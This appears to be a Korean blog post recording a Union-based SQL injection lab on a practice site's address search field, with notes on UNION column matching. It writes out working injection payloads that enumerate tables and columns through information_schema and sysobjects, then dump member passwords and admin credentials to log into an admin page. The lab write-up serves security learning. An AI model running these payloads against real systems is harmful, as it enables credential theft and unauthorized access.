Union SQL Injection
이번 실습은 회원가입 > 주소 입력창에서 이루어진다.
Union
- A 테이블에서 필요한 데이터와 B 테이블에서 필요한 데이터를 합친다.
- 여기서 데이터는 칼럼으로 합치는 듯함.
- 단, 합치려는 두 SELECT 문의 칼럼의 수는 같아야 한다.
[예시]
table = login, class
SELECT id,pw FROM login union SELECT eng, kor FROM class; (o)
SELECT id,pw ,email FROM login union SELECT eng, kor FROM class; (x)
주소 찾기 페이지에서는 칼럼 수 5개까지 입력 가능하다.
즉, 사용되는 칼럼은 5개라는 의미. 추측이 가능하다.
띄어쓰기 기준으로 5개
우편번호 / 도 / 시 / 동 / 건물
[문제:: 모든 테이블 이름 뽑아내기]
(쿼리) ' union select 1,2,3,4,table_name from information_schema.tables --
information_schema: 서버 내 모든 DB에 대한 정보들이 담긴 곳 (테이블, 칼럼, 인덱스 등)
information_schema.table: 모든 테이블
table_name: 모든 테이블 이름 칼럼
이 외에도 tables 내 여러 칼럼들이 있으니 잘 기억해두자.
[문제:: 모든 테이블 이름 뽑아내기 다른 방법]
`SYSOBJECTS
ex) ' union select 1,2,3,4 name from sysobjects --
[문제:: 모든 컬럼 이름들 뽑아내기 다른방법]
`SYSCOLUMNS
ex) ' union select 1,2,3,4 name from syscolumns --
' union select 1,2,3,4 원하는 컬럼 from 원하는 테이블 --
[혼자하기:: 위에서 알아낸 Table 내 모든 칼럼명 알아내기 ver.original]
' union select 1,2,3,4, column_name from information_schema.columns where table_name='abracadabra' --
이를 통해 abracadabra 테이블의 칼럼은 forever와 kisec이 있다는 것을 알 수 있겠다.
[실습:: id와 password 모두 출력]
1. 모든 테이블 이름 뽑아내기
' union select 1,2,3,4,table_name from information_schema.tables --
그리고 추측한다. id와 pw는 여기있겠지
2. members 테이블의 칼럼 확인하기
'union select 1,2,3,4,column_name from information_schema.columns where table_name='members' --
user_id와 passwd로 추정
3. members 테이블에서 id와 pw 모두 출력하기
' union select 1,2,3,user_id,passwd from members --
[실습:: 관리자 페이지 로그인하기]
1. 관리자 id와 pw가 존재하는 테이블 찾기
' union select 1,2,3,4,table_name from information_schema.tables --
admin_tb로 유추됨. 한번 찾아나보자.
2. admin_tb 테이블의 컬럼명
' union select 1,2,3,4,column_name from information_schema.columns where table_name='admin_tb' --
3. 해당 컬럼명으로 admin_tb에서 값 보이기
' union select 1,2,3, adminid, adminpwd from admin_tb --
4. 이제 로그인해라.
'보안 > 웹·모바일' 카테고리의 다른 글
특수문자 필터링, 정규표현식 for JavaScript (0) | 2022.07.15 |
---|---|
Load of SQLInjection 문제풀이 (0) | 2022.07.15 |
Error-based SQL Injection 실습 (0) | 2022.07.12 |
Non-Relational DBMS이란 (0) | 2022.07.08 |
Blind SQL Injection (0) | 2022.07.08 |